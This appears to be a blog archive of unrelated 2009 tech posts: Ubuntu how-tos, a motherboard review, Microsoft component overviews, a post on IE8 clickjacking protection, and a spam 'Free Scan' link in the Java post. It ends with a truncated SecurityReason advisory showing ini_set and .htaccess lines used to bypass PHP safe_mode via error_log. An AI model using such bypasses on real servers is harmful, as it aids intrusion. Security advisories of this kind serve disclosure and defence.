The first step in cloning an installation is to grab the complete list of installed packages from the first system. To do so, you basically instruct dpkg to dump its entire list of packages, filter out any packages that aren't currently installed, and then redirect the output to a file:

$ sudo dpkg --get-selections | grep '[[:space:]]install$' | \\
awk '{print $1}' > package_list

Next, copy this text file to the destination system over the network, via a USB key or whatever method you prefer. You may also want to copy over the /etc/apt/sources.list file from the base system, since the new system may not have all of the same repositories enabled (if the repositories aren't the same, the destination system may not be able to find some of the packages in the list).

Prepare the Destination System

Now you need to prepare the destination system. If both systems are running the same release of Ubuntu, this may be as simple as just copying the initial system's /etc/apt/sources.list on top of the one on the current system. Otherwise, if the systems are from different releases, you will want to compare the initial system's sources.list with the /etc/apt/sources.list file on your destination system and see if there are any extra third-party repositories or repository subcategories that need to be enabled.

Once your sources.list file is settled, update your package list to make sure you get the latest version of the packages:

$ sudo apt-get update

Import the Package List

To import the package list, pipe the entire list to xargs, which then splits it into manageable chunks for the apt-get command:

$ cat package_list | xargs sudo apt-get install

If you are migrating to a different Ubuntu release, this will require a bit of trial and error, since you will likely get complaints about packages no longer existing. The simple fix for this is to edit the package list and remove the package from the list, save your changes, and then rerun the command. You will likely need to do this a number of times, but eventually you will have a list of valid packages. A more complicated but thorough fix would involve checking the latest list of packages for a potential update or replacement for the package that no longer exists and installing them one by one.

Once apt-get completes, you are finished. All of the files from the package list will have been imported into the new system. Now keep in mind that this doesn't mean that all of the settings have transferred over. To do that, you will likely need to copy settings from the /etc directory or possibly other directories, depending on the package.

Hacking the Hack

It can be rather handy to have a complete list of installed packages for backup and restore purposes. An easy way to automatically generate a complete list is to have a cron job update the list of installed packages every night. To do so, create the following script and save it in /etc/cron.daily/package_list:

$!/bin/sh

dpkg --get-selections | grep '[[:space:]]install$' | \\
awk '{print $1}' > /etc/package_list

$ sudo chmod a+x /etc/cron.daily/package_list

This /etc/package_list file can then be backed up with the rest of your system settings.

Computer Network Security Software

Network security threat

Network security threat

Network security threat is one of the major concerns for all online businesses today. As soon as the computer software was produced the hackers set off on their task of destroying software. In networks the more important thing than software is the data as the data contain sensitive information. Hackers send their programs to either destroy the data bases or steal data. Both are equally dreaded by network administrators.

Network security threat

To avert network security threat, the software companies have come out with software which is able to locate intruding software and prevent them from accessing data bases. To use this software special training should be provided to network administrators. A network security course conducted by professionals for the network administrators will be of immense value for the security of the network.
As the viruses and other programs used by hackers are posing a continuous network security threat, the knowledge of network administrators need to be updated continuously. As such a network security course at regular intervals is the way to avert network security vulnerability.

There are various software programs produced by many software companies such as Norton antivirus, AVG. Kaspersky, and McAfee. These software companies are updating their software at regular intervals, as the hackers learn about the software as soon as an update is released. Then they make viruses and other programs to beat the particular software. When the Computer network security software companies come to know that, they make an update to beat the malware. This goes on in a vicious cycle. The poor network managers suffer most, for no fault of theirs, trying to cope with all these Network security threats, all because of the network security vulnerability of their net works.
Once the proper software is installed, timely updates are arranged and the necessary training given to the administrators, a network could run with out much security threat.

Affordable Solutions Platform Motherboard Nehalem

2009-12-02T04:57:00.000-08:00

When we hear the term socket LGA1366 Nehalem platform will dibenak looming we are high-end platform with exorbitant prices. This time MSI will change that perception with the release of a chipset motherboards to X58, but with a relatively affordable price, the X58 Pro-E.

Despite the cheap price, facilities provided this motherboard was quite complete, such as features ATI Crossfire-X, Triple Channel DDR3 1066, BlueRay True Audio Realtek ALC889, and others. Of course, do not forget to include the MSI specific features of their products, namely DrMOS with three main advantages of GreenPower for power consumption more efficient. Featured XpressCool makes the chipset cooler and RapidBoost that offer stability in overclocking.

In the test session using a test bed CHIP processors (Core i7 965), this motherboard shows a very good performance. Testing the daily application of simulated with the application Sysmark 2007, this motherboard produce a high enough score and satisfactory. Likewise with games testing, tests conducted indicate that this motherboard can run stable without any problems.

If want more performance, MSI EasyOC Switch features include useful for users who want a system for the overclock, without passing through the BIOS settings are quite complex. But for users who are more advanced overclocking knowledge, this feature will not be used.

Conclusion

This motherboard is suitable for users who want to build a Nehalem platform with a limited budget. Pair for this motherboard is the Core i7 920, only with a few tweaks that can be done, the performance of this system will pass the high end systems that cost much more.

Tutorial Microsoft Data Access Components

2009-11-14T07:28:00.000-08:00

The Microsoft® Data Access Components (MDAC) SDK documents the key technologies that are part of Microsoft's strategy for providing access to information across the enterprise.

Microsoft Data Access Components include ActiveX® Data Objects (ADO), OLE DB, and Open Database Connectivity (ODBC). Data-driven client/server applications deployed over the Web or a LAN can use these components to easily integrate information from a variety of sources, both relational (SQL) and non-relational.
If you have questions or need detailed information about properly redistributing MDAC, see Redistributing MDAC for a description of the distribution requirements for MDAC.

ActiveX Data Objects (ADO)

Microsoft ActiveX Data Objects (ADO) provides consistent, high-performance access to data and supports a variety of development needs, including the creation of front-end database clients and middle-tier business objects that use applications, tools, languages, or Internet browsers. The primary benefits of ADO are ease of use, high speed, low memory overhead, and a small disk footprint.
ADO provides an easy-to-use interface to OLE DB, which provides the underlying access to data. It uses a familiar metaphor — the COM Automation interface — available from all leading Rapid Application Development (RAD) tools, database tools, and languages.

OLE DB

Microsoft OLE DB is a set of interfaces that expose data from a variety of relational and nonrelational sources by using the Component Object Model (COM). OLE DB interfaces provide applications with uniform access to data stored in diverse information sources. These interfaces support the amount of DBMS functionality appropriate to the data store, enabling the data store to share its data.
OLE DB comprises a programmatic model consisting of data providers, which contain and expose data; data consumers, which use data; and service components, which process and transport data (such as query processors and cursor engines). In addition, OLE DB includes a bridge to ODBC to enable continued support for the broad range of ODBC relational database drivers.

Open Database Connectivity (ODBC)

The Microsoft Open Database Connectivity (ODBC) interface makes it possible for applications to access data from a variety of DBMSs. ODBC permits maximum interoperability — an application can access data in diverse DBMSs through a single interface. Furthermore, that application will be independent of any DBMS from which it accesses data. Users of the application can add software components called drivers, which create an interface between an application and a specific DBMS.

Internet Explorer 8 Clickjacking Protection Exposed

2009-11-14T07:23:00.000-08:00

Yesterday I published a blind analysis of the so called “Clickjacking protection” included in IE8 RC1. “Blind” because, hype aside, there was no technical documentation available, even if the feature was targeted to web developers who — in order to protect their users — should modify the way their pages are served.

After a while, Microsoft’s David Ross sent me an email confirming that my wild guesses about IE8’s approach, its scope and its limitations were indeed correct. The only information obviously missing from my “prophetic” description was the real name of the “X-I-Do-Not-Want-To-Be-Framed-Across-Domains” HTTP header to be sent before the sensible pages, and today this little mystery has been finally unveiled by Eric Lawrence on the IE Blog:

Web developers can send a HTTP response header named X-FRAME-OPTIONS with HTML pages to restrict how the page may be framed. If the X-FRAME-OPTIONS value contains the token DENY, IE8 will prevent the page from rendering if it will be contained within a frame. If the value contains the token SAMEORIGIN, IE will block rendering only if the origin of the top level-browsing-context is different than the origin of the content containing the X-FRAME-OPTIONS directive. For instance, if http://shop.example.com/confirm.asp contains a DENY directive, that page will not render in a subframe, no matter where the parent frame is located. In contrast, if the X-FRAME-OPTIONS directive contains the SAMEORIGIN token, the page may be framed by any page from the exact http://shop.example.com origin.

As I had anticipated, IE8’s “clickjacking protection” is just an alternate scriptless way to perform frame busting, a well known and simple technique to prevent a page from being “framed” in another page and therefore becoming an easy UI Redressing target. Microsoft had to follow its own special path because the traditional JavaScript implementation can be easily circumvented on IE, e.g. by loading the targeted page inside an IFRAME SECURITY=restricted element. But the other major browsers are equally “protected” (if we can call “browser protection” something relying on the good will and education of web authors) by “standard” frame busting. Therefore, slogans like “the first browser to counter this type of threat” (James Pratt, Microsoft senior product manager) were marketspeak at its best. Furthermore, this approach is useless against Clickjacking in its original “historical” meaning, i.e. those attacks involving Flash applets and other kinds of plugin embeddings which led Robert “RSnake” Hansen and Jeremiah Grossman to invent the successful buzzword.

However in my post I had also written that having such a scriptless alternative as a cross-browser option would be nice:

I do believe that a declarative approach to control subdocument requests is an excellent idea: otherwise I wouldn’t have included the SUB pseudo-method in ABE Rules Specification (pdf). Moreover, as soon as I’ve got some less blurry info (David Ross, I know you’re listening, why don’t you drop me a line?), I’ll be happy to immediately implement a compatible feature in NoScript and lobby Mozilla for inclusion in Firefox 3.1.

David kindly answered

I think this would be fantastic and it’s a great place to start building some bridges.

I agree, in facts I’ve filed an enhancement request for Firefox, and I’m already working to release a NoScript development build featuring X-FRAME-OPTIONS support: that’s relatively easy, since I can hook in the work I’m already doing for the ABE module. (Update 2009-29-01: I just released NoScript 1.8.9.9 development build, featuring full experimental X-FRAME-OPTIONS compatibility support).
It’s worth noticing, though, that this is just a cross-browser compatibility effort: neither Firefox nor NoScript really need this feature. Traditional JavaScript-based frame busting works fine in Firefox, giving it the same degree of (modest) “protection” as IE8. NoScript users, on the other hand, are already fully protected, because ClearClick is the one and only countermeasure which works against any type of Clickjacking (frame or embed based), no matter if web sites cooperate or not.

Speaking of NoScript, I’ve got a small but important correction to the otherwise excellent article Robert McMillan wrote for PC World (IDG News) yesterday:

Because clickjacking requires scripting, the attack doesn’t work when NoScript is enabled.

This statement is wrong twice:

1. Clickjacking does not require scripting: JavaScript might make the attacker’s life easier, but it’s not indispensable to throw an attack.
2. NoScript does not need scripting to be disabled in order to protect its users against Clickjacking: its exclusive ClearClick anti-Clickjacking technology works independently from script blocking.

That’s why NoScript can be recommended to anyone, even to grandma who’s not inclined to block JavaScript: albeit I do not encourage using NoScript’s “Allow Scripts Globally” command because the default deny policy is your best first-line defense, many additional protection features such as Anti-XSS filters and ClearClick still remain active even when JavaScript is enabled, providing the safest web experience available in any browser.

What is VBScript

2009-11-03T05:30:00.000-08:00

Microsoft Visual Basic Scripting Edition brings active scripting to a wide variety of environments, including Web client scripting in Microsoft Internet Explorer and Web server scripting in Microsoft Internet Information Service.
Easy to Use and Learn
If you already know Visual Basic or Visual Basic for Applications (VBA), VBScript will be very familiar. Even if you do not know Visual Basic, once you learn VBScript, you are on your way to programming with the whole family of Visual Basic languages. Although you can learn about VBScript in just these few Web pages, they do not teach you how to program. To learn programming, take a look at Step by Step books available from Microsoft Press.

Windows Script

VBScript talks to host applications using Windows Script. With Windows Script, browsers and other host applications do not require special integration code for each scripting component. Windows Script enables a host to compile scripts, obtain and call entry points, and manage the namespace available to the developer. With Windows Script, language vendors can create standard language run times for scripting. Microsoft will provide run-time support for VBScript. Microsoft is working with various Internet groups to define the Windows Script standard so that scripting engines can be interchangeable. Windows Script is used in Microsoft® Internet Explorer and in Microsoft® Internet Information Service.
VBScript in Other Applications and Browsers
As a developer, you can license VBScript source implementation at no charge for use in your products. Microsoft provides binary implementations of VBScript for the 32-bit Windows® API, the 16-bit Windows API, and the Macintosh®. VBScript is integrated with World Wide Web browsers. VBScript and Windows Script can also be used as a general scripting language in other applications.

Build Kernels the Ubuntu Way

2009-09-30T09:31:00.000-07:00

Special tools take the pain out of compiling and installing custom kernels.
Debian boasts some very useful tools to make the job of building and installing kernels much easier, and of course those same tools are available in Ubuntu as well. They streamline the process of compiling a custom kernel and building a .deb package around it, allowing you to install a new kernel the same way you would any other package. This makes it possible to build a kernel on one machine and then just install the package on other machines, without having to recompile or track down all the loose endsgreat if you need to upgrade a number of similar machines!
To build a custom kernel "the Ubuntu way," you will need to get hold of the kernel source and a variety of tools to configure, compile, and package it.
Get the Source
You can get the official kernel source yourself directly from http://ftp.kernel.org/pub/linux/kernel/, or a mirror if you like, but of course there are also packages of the kernel source. A quick:
$ apt-cache search linux-source

will get you a list of Linux kernel source packages all ready to go. Picking one as an example, you could just run:
$ sudo apt-get install linux-source-2.6.15

to download the source to your system. You'll then end up with an archive sitting in /usr/src, which is where most kernel work is done. Now you can extract the source package:
$ cd /usr/src
$ sudo tar -xjf linux-source-2.6.15.tar.bz2

That will leave you with a /usr/src/linux-source-2.6.15 directory, decompressed and ready to configure. First, though, create a symlink to it called linux, like this:
$ sudo ln -sf linux-source-2.6.15 linux

The f option forces creation of the new symlink even if there's already an existing link to an old kernel source. Now you can easily get to your kernel source tree just by typing:
$ cd /usr/src/linux

Tools You Will Need
To install the main tools, you will need to run:
$ sudo apt-get install kernel-package libncurses5-dev

This will also cause your computer to pull down a big list of supporting packages that are dependencies.
Configuration Methods
There are a number of ways to configure a kernel prior to compiling it, and all but the first are invoked as arguments to the make command. Make sure you have a shell open in the kernel source directory (which should be /usr/src/linux if you followed our directions earlier) before you try any of these. In increasing order of sophistication, they are:

editing .config
The actual configuration is saved in the source directory as a text file called .config. If you really want to (or if you are trying to find an option some README has listed by name, such as CONFIG_PACKET) you can edit this file directly using a text editor such as vim or Anjuta. This should need to be done very rarely, though.

make config
The most basic approach, this will just ask you a whole heap of questions, one after another. Personally, we hate configuring the kernel this way, because it's sequential and you have to go through a heap of stuff you probably couldn't care less about. Only bother with this as a last resort, such as if other options aren't available to you for some reason.

make menuconfig
This is the most common way to do the configuration. It displays a nice, keyboard-driven menu that you can navigate using arrows, Enter, and the spacebar. However, one catch that can trip you up is that you need to have the development libraries for Ncurses installed, not just Ncurses itself. That's why we had you install the libncurses5-dev package a few paragraphs ago!

make xconfig
The preferred method for machines with X, this option is very similar to menuconfig, except it's all done in a nice point-and-click GUI with mouse navigation. The possible gotcha to getting this working is you'll need tk8.3. If you get errors saying it can't find "wish," run:
$ sudo apt-get install tk8.3

and all should be well.
Configuring the Kernel
Whichever configuration method you choose, the next thing to do is to examine the settings for the different kernel options and make changes as required.
There are a huge number of kernel options, so to help you find things, they are grouped in a logical way in different major and minor sections. The different configuration methods have their own ways to represent this, but they should all be fairly straightforward to follow.
We won't go into details of how to do the kernel configuration here, because what you'll need to configure will vary dramatically, and there are plenty of tutorials on the Net, including the Kernel-HowTo, that explain this in detail. Basically, though, you need to work through each menu in turn to find options and modules you want to enable, and set them to either off (not available), on (compiled straight into the kernel), or module (compiled separately so it can be loaded when needed).
Once you've finished going through the options, quit and save to have your choices written out to a configuration file to be used by the compiler.
One little trick to note is that the actual configuration details are stored in a file called .config in the kernel source directory. Once you've gone to all the trouble of setting up a kernel the way you want it, moving to a new kernel can be painful if you have to go through the configuration process from scratch, and you'd be almost certain to miss something crucialwe know we usually do! To make things easier for yourself, you can copy the .config file into the new kernel source directory to have all your options carried over automatically. Then you can run the configuration again just to check things over, save, and go on as before. Provided you're not changing to a totally new kernel type, this trick can save you a lot of time. Beware if you're moving to a totally different kernel, though, such as from 2.4.x to 2.6.x, because many of the options will be totally different and while the old config will still work, it may not have some options activated that appear only in the new kernel. You can also run make oldconfig after copying in the old .config file, which will then prompt you only for options that are new or have changed since you configured your previous kernel.
Compiling and Packaging
This is the point when your kernel is actually compiled and placed in a package. Normally, that would be a lot of work, but thanks to the tools provided by kernel-package, it's now one of the easiest steps.
If you have read a traditional Kernel HOWTO, you've probably seen a sequence of commands such as make dep && make clean && make bzImage used to build the dependencies and then the kernel itself. You don't need to do any of that; instead, just type:
$ sudo make-kpkg kernel-image

while in the /usr/src/linux directory, and those steps will all be taken care of. The kernel-packaging tools first compile your kernel and modules according to the configuration you just generated and then build a Debian package called kernel-image-.deb outside the current source directoryi.e., in /usr/src.
This stage can take a while depending on your machine speed and which modules you selected. Expect anything from 10 minutes to a half hour, during which time you'll see a very long stream of debugging information that probably won't be of any interest to you at all, unless something goes seriously wrong.
Install Your Kernel Package
You're almost there! What you have now is a kernel, custom-compiled according to your requirements and set up as a Debian package ready to install.
Installing your new kernel is now just a matter of using dpkg to install the package as you would any other Debian package:
$ sudo dpkg -i

kernel-image-2.6.15_10.00.Custom_i386.deb

(replacing kernel-image-2.6.15_10.00.Custom_i386.deb with whatever your package is called). It may ask you if you want to create a boot floppy using that image; the dozens of machines we manage don't have a single floppy drive among them, so we always say no, but if you want to, you can say yes to have it create one for you.
dpkg will also take care of updating your bootloader configuration so your new kernel will be available next time you boot. Both GRUB and LILO are managed automatically, but if you use a different bootloader, you may need to update it yourself at this point.
What happens when you install the package is that dpkg puts your new kernel image in the /boot directory where kernels are normally stored, creates a symlink from /vmlinuz to your new kernel (you can verify this by typing ls -l /vmlinuz), modifies your /boot/grub/menu.lst or /etc/lilo.conf as appropriate so your bootloader can find your new kernel, and moves and renames the previous kernel so it's available as an emergency fallback in case your new kernel borks.
Note that at this point, you will not actually be running the new kernel; it's just set up, ready to go for next time you reboot. Installing a new kernel is one of the very few things that actually requires you to reboot a Linux system.
Rebooting and Testing
Time for the big test! If you are running X, exit the session and reboot. If not, just type sudo reboot. When GRUB loads, you will have the option of pressing Esc to see a list of available kernels, including your new one. Select it and hit Enter.
Once your machine has booted, you can use uname to check which kernel you are running:
$ uname -a

For more information about which modules were loaded and whether the new kernel correctly detected your hardware, you can look through the dmesg log:
$ dmesg | less

If everything worked as expected, congratulations! You've just compiled and installed a custom kernel "the [Debian|Ubuntu] way."
Installing on Other Machines
This is where the convenience of building kernels as packages becomes most obvious. If you want to install your custom kernel on other machines, the process is very simple: just copy the .deb package you created to the target machine and install it using dpkg exactly as before. Simple!
There's no need to compile the kernel on each machine, copy the source code to them, or even have a compiler installed on them. All the hard work was done once on one machine and doesn't need to be repeated.
If you run a server farm or computer lab and have a lot of local machines to install your kernel on, the best way to do so is probably to put the kernel package on a local package repository and have all your computers fetch it over the network.
Install Multiple Copies of One Kernel Version
Often you'll want to install multiple copies of the same kernel version while doing testing, but that can cause problems: modules are installed in a directory based on the kernel version number, so if you want to try out different configuration options, you'll run into problems. Luckily, the kernel package tools allow you to work around that limitation by appending an arbitrary version string to the regular version string. This means you can install multiple builds of the same kernel version and keep everything neatly organized on disk, as well as select which one you want to use at startup.
To modify the version string, just pass the --append-to-version option when creating the package, like so:
$ fakeroot make-kpkg --append_to_version=-jon17

kernel-package

This would generate a kernel package something like kernel-image-2.6.15-jon17_10.00.Custom_i386.deb.

Install Multimedia Plug-ins

2009-06-01T09:02:00.000-07:00

Music and video files come in a wide variety of exotic formats. Learn how to locate and install the plug-ins you need to view or listen to them.
On some Linux distributions, getting all of your multimedia files to play seems like it requires all sorts of command-line voodoo. One thing that sets Ubuntu apart is just how easy it is to grab all of the packages you need to play multimedia content. In this hack, we will walk you through the necessary steps so that once you are finished, Ubuntu will happily play just about any media file you throw at it.
Tweak Your Repository List
Many of the multimedia packages you need to install do not reside in the default Ubuntu repository. To get these packages, you will need to add the universe and multiverse repositories to Ubuntu. for information about these repositories and how to add them. Once you have added the repositories, be sure to update your list of packages within your package-management tool before proceeding.
Install General-Purpose Libraries and Tools
There are a number of basic libraries and multimedia tools you need to install to get the best support for your multimedia files. These include libraries for MP3 and Ogg Vorbis playback, as well as media players and other tools. If you use Synaptic, select totem-xine from the GNOME Desktop Environment (universe) category, vorbis-tools from the Multimedia category, sox from the Multimedia (universe) category, faad and lame from the Multimedia (multiverse) category, imagemagick from the Graphics category, and finally ffmpeg and mjpegtools from the Graphics (universe) category. Or, if you use apt-get, type:

$ sudo apt-get install totem-xine vorbis-tools sox faad lame \\
imagemagick ffmpeg mjpegtools

Install Gstreamer Libraries
Gstreamer is a new plug-in-based approach to multimedia playback. GNOME uses Gstreamer for much of its own multimedia playback, and, while it is still under heavy development, you will still want to install a number of Gstreamer libraries for GNOME. If you use Synaptic as your package management tool, select the gstreamer0.8-plugins-multiverse package from the Libraries (multiverse) category; gstreamer0.8-ffmpeg, gstreamer0.8-mad, and gstreamer0.8-plugins from the Libraries (universe) category; and gstreamer0.8-lame from the Multimedia (multiverse) category, and apply your changes. Alternatively, if you use apt-get, type:
$ sudo apt-get install gstreamer0.8-plugins-multiverse \\
gstreamer0.8-ffmpeg gstreamer0.8-mad gstreamer0.8-plugins \\
gstreamer0.8-lame
If version 0.8 of these Gstreamer libraries is not available, search your package repository to see if a new version is available (for example, if you are using apt, run the command apt-cache search gstreamer).
Once you have installed all the Gstreamer libraries, open a terminal and type:
$ gst-register-0.8

to register all of the Gstreamer plug-ins on your system
Install Codecs of Ambiguous Legality
There are a number of multimedia formats that are encumbered by special licenses that require the user to leverage Windows codec libraries on their Linux system to play back the file. Some of these include QuickTime and Windows Media formats. In certain countries, it may be illegal to play files via these codecs, so open up your checkbook, call up your lawyer, and have a chat before proceeding.

$ wget ftp://ftp.nerim.net/debian-marillat/pool/main/w/w32codecs/w32codecs_

20050412-0.0_i386.deb
$ sudo dpkg -i w32codecs_20050412-0.0_i386.deb

If for some reason that site isn't available.

Tweak Your Desktop Like a Pro

2009-04-12T07:05:00.001-07:00

Customize your desktop environment, and find a few things you never knew you needed, like a pop-up Quake-style terminal, automatic wallpaper shuffling, and dashboard functionality.
The default Ubuntu GNOME environment is very streamlined and easy to use. Due to its ease of use, however, some of the "power user" features aren't included in the base install. KDE can also benefit from the same tweaking. Here's how to get more usability and features from Ubuntu.
Get Icons on Your Desktop
The default Ubuntu Dapper Drake desktop has no icons on itwhich gives the system a very clean and simple look. If you're coming from Windows, you may miss the My Computer icon and other desktop icons in that OS. It's relatively simple to add them to Ubuntu; it just requires the use of a configuration editor called gconf-editor.
If you hit Alt-F2, the system will pop up a Run Application dialog. Type gconf-editor in that dialog and click Run. The Gconf configuration program will start. Select "apps" from the left pane; then select "nautilus" and "desktop." In the right pane, you will see several options, like "computer_icon_name" and "computer_icon_visible." If you click on the checkbox next to the "_icon_visible". Nautilus will spontaneously add that icon to your desktop. In this fashion, you can add icons for your computer, home directory, network places, documents, and wastebasket

Get Organized with Tomboy
Tomboy is a tiny application that sits in your panel and acts as an always-on mini Wiki. It's great for making quick notes to yourself without worrying about saving myriad text files or waiting for an editor to start. Much like a Wiki, you can cross-reference the Tomboy notes you make using Wiki-like annotations. Not only that, but the notes are quickly searchable using Tomboy's built-in search capabilities.
To install Tomboy, just apt-get it from a terminal:
bill@defiant:~$ sudo apt-get install tomboy

That will fetch and install Tomboy and its dependencies. Once that's completed, you can add Tomboy to your panel by right-clicking on the panel, selecting "Add to Panel," and then choosing Tomboy Notes from the dialog.
Automatic Wallpaper Switching
Something GNOME doesn't provide for is a way to automatically rotate your desktop wallpaper. Luckily, there's a little application written by someone known only as "Earthworm" called wp_tray that will sit in your notification area and rotate your wallpaper based on whatever scheme you wish. The source code for this application is at http://planetearthworm.com/projects/wp_tray/files/wp_tray-0.4.6.tar.gz, but Bill has built it for Ubuntu and made it available at http://wildbill.nulldevice.net/ubuntu/wp-tray_0.4.6-1_i386.deb. Download the .deb for wp_tray and install it using the following command:
bill@defiant:~$ sudo dpkg -i wp-tray_0.4.6-1_i386.deb

Once wp_tray is installed, add it to your startup programs so it starts when you log in: click on the System Menu, then Preferences, then Sessions, and add wp_tray to the list of Startup Programs. Log out and log in again, and you will be able to right-click on the applet

Getting a Pull-Down "Quake" Terminal
There's a very useful KDE application called yakuake that takes the standard KDE Konsole and changes it to a drop-down, on-demand terminal over your desktop and applications. (It's called a "Quake" terminal because of its resemblence to the console that drops down in the Quake series of games.) This is a very handy little application. To install, simply use apt-get to install both konsole and yakuake:
bill@lexington:~$ sudo apt-get install konsole yakuake

Add yakuake to your startup session using the same instructions for the wp_tray applet. Log out and log in again, and then you can hit F12 to cause yakuake to drop down over your desktop.

Install Java

2009-03-21T20:34:00.000-07:00

The modern web-browsing experience requires Java. Here's how to install Java and caffeinate your web browser. For a Free Scan and Care Tool: Top-Converting, click here
Ubuntu's an amazing Linux distribution for lots of different reasons, but one of the things people find attractive about it is the fact that it ships with lots of different software, preconfigured and ready to use. However, until recently, one of the things that the Ubuntu developers couldn't include was the Sun Java Runtime Environment (JRE), because it used a nonfree license that prevented its bundling with a Linux distribution.
Recently, however, Sun Microsystems relaxed the restrictions on the Java license, introducing the Distro License for Java (DLJ). This new license allows distributors to ship Sun's JRE and Java Development Kit (JDK) as installable packages, rather than the self-extracting binaries that were previously available. It also gives Linux distributors the ability to define the packaging, installation, and support for Java within their Linux distribution.
As such, Dapper Drake now ships with Sun's Java available as a non-free package in the multiverse repository. You'll need to have the universe and multiverse repositories enabled to install Java.
The Ubuntu developers have separated the Java components into several packages:

sun-java5-bin
Contains the binaries
sun-java5-demo
Contains demos and examples
sun-java5-doc
Contains the documentation
sun-java5-fonts
Contains the Lucida TrueType fonts from the JRE
sun-java5-jdk
Contains the metapackage for the JDK
sun-java5-jre
Contains the metapackage for the JRE
sun-java5-plugin
Contains the plug-in for Mozilla-based browsers
sun-java5-source
Contains source files for the JDK
Installing the Java Runtime Environment
Once you've got the multiverse repository enabled, installing Sun's Java package is easy. Simply open a terminal window and apt-get the package. Since you are going to be installing the JRE and the web browser plug-in, you'll be using the following command from a terminal window:
bill@constellation:~$ sudo apt-get install sun-java5-jre sun-java5-plugin \\
sun-java5-fonts

Once apt-get downloads the packages and begins the installation, you'll get a screen that contains the Sun Operating System Distributor License for Java. Read the license, if you wish, and hit Enter to continue. You'll see a dialog that asks you if you agree with the DLJ license terms. Select Yes, and hit Enter; the JRE will finish installing.
At this point, Java is installed.
Confirming the Installation
You'll want to confirm that your system is configured properly for Sun's JRE. This is a two-step process. First, check that the JRE is properly installed by running the following command from a terminal. You should get similar output:
bill@constellation:~$ java -version
java version "1.5.0_06"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_06-b05)
Java HotSpot(TM) Client VM (build 1.5.0_06-b05, mixed mode, sharing)
If you see an unexpected version of Javain particular, one identified as "gij (GNU libgcj)"then you probably have GNU Java installed. You can easily switch from one Java to another with the command sudo update-alternatives --config java, which will prompt you to choose which Java implementation to use. Pick the one in /usr/lib/jvm to use the JRE you just installed.
If the JRE is properly installed, confirm that the Java plug-in is installed in your browser by opening Firefox and typing about:plugins in the address bar
Congratulations, you've caffeinated your browser! You can now surf to Java-enabled web sites and use Java applications!

Use the Command Line

2009-01-25T05:43:00.000-08:00

Put your mouse down for a second, pop open a terminal window, and fall in love with the shell all over again.
If you are used to Windows or Mac desktops, the command line might seem like a foreign thing to you. Typing commands into a window might seem, well, arcane. But even though Linux has really progressed on the desktop, there's still a lot of power you can wield at the command line. If this is your first time with a terminal, this hack will guide you through some command-line basics.
Throughout this book, you'll find a number of places where you'll need to prefix commands with sudo. The sudo command allows you to temporarily execute a command with different user privileges and is frequently used when you need to add or remove software from the command line.

The first step is to launch a terminal. Click Applications Accessories Terminal to start the default GNOME Terminal program.
Navigate the Filesystem
Now that the terminal program is open, you can navigate the filesystem. By default, terminals will open into your home directory, so one thing you might want to do is see what files are currently in your home directory. The ls command displays all the files in the directory you specify (or in the current directory if you don't list a directory):
greenfly@ubuntu:~$ ls
Desktop
greenfly@ubuntu:~$ ls Desktop/
screenshot1.png screenshot2.png

The first command lists all of the files in the home directory. In this case, only the Desktop directory exists. The second example lists the contents of the Desktop directory, where there are two screenshot images.
To change to a different directory, use the cd command followed by the directory to change to:
greenfly@ubuntu:~$ cd Desktop/
greenfly@ubuntu:~/Desktop$ ls
screenshot1.png screenshot2.png

Notice that the terminal prompt changed in the second line to show that you are currently in the Desktop directory. You can also use the pwd command to see where you currently are:
greenfly@ubuntu:~/Desktop$ pwd
/home/greenfly/Desktop

The ~ symbol is shorthand in Linux for your user's home directory. If you type cd ~ you will automatically change back to your home directory. It saves you from having to type out cd /home/ username.
Rename and Delete Files and Directories
To create a directory from the command line, type the mkdir command followed by the name of the directory to create:
greenfly@ubuntu:~$ mkdir test
greenfly@ubuntu:~$ ls
Desktop test

Use the mv command to move a file or directory to a different directory, or to rename it in its current directory. To rename the test directory you created to testing, you can type:
greenfly@ubuntu:~$ mv test testing
greenfly@ubuntu:~$ ls
Desktop testing

If you wanted to move the testing directory inside the Desktop directory, you would just specify the Desktop directory as the second argument:
greenfly@ubuntu:~$ mv testing Desktop/
greenfly@ubuntu:~$ ls Desktop/
screenshot1.png screenshot2.png testing

The rm command removes files, and rmdir removes directories. Just use the commands followed by the files or directories to remove, respectively:
greenfly@ubuntu:~$ rm Desktop/screenshot1.png Desktop/screenshot2.png
greenfly@ubuntu:~$ ls Desktop/
testing
greenfly@ubuntu:~$ rmdir Desktop/testing/
greenfly@ubuntu:~$ ls Desktop/
greenfly@ubuntu:~$

You can also remove a directory and all files and directories inside of it by running rm -r followed by the name of the directory.
Be careful when you recursively delete a directory with this command that you do in fact want to remove all of the files within. Once removed via the command line, there's no trash bin to retrieve them from.
File Globs and Tab Completion
There are two major time-savers when dealing with long files on the command line: file globs and tab completion. File globs are symbols you can use as wildcards in the place of a filename. You can substitute the ? symbol for any single character in a filename, and * for any number of characters in a filename. For instance, say you had three files: foo, bar, and baz. If you wanted to delete both bar and baz, you would type:
greenfly@ubuntu:$ rm ba?

The ? matches both r and the z at the end of the filename. If you wanted to remove all files that started with the letter b, you would type:
greenfly@ubuntu:$ rm b*

Tab completion is another time-saver on the command line. If you start to type a command and then hit the Tab key, the shell will automatically attempt to complete the name of the command for you. In the case that more than one command matches what you have typed so far, hit Tab an extra time, and you will be shown all of the options that match:
greenfly@ubuntu:~$ gnome-cups-
gnome-cups-add gnome-cups-icon gnome-cups-manager

Tab completion also works for files and directory names. Just type the first part of the filename and hit Tab, and the shell will fill out the rest for you.
Once you are finished with a terminal, you can close the window like any other window, or, alternatively, you can type exit on the command line.

PHP 5.2.6 (error_log) safe_mode Bypass Vulnerability

SecurityAlert Id: 57

CWE: CWE-264
SecurityRisk: Medium

Affected Software: PHP 5.2.6
Advisory URL: http://securityreason.com/achievement_securityalert/57
Vendor: http://www.php.net

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl
with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web
developers to write dynamically generated pages quickly.

error_log

They allow you to define your own error handling rules, as well as modify the way the errors can
be logged. This allows you to change and enhance error reporting to suit your needs.

- --- 0. error_log const. bypassed by php_admin_flag ---
The main problem is between using safe_mode in global mode

php.ini:
safe_mode = On

and declaring via php_admin_flag

...
php_admin_flag safe_mode On

When we create some php script in /www/ and try call to:

ini_set("error_log", "/hack/");

or in /www/.htaccess

php_value error_log "/hack/bleh.php"

Result:

Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0

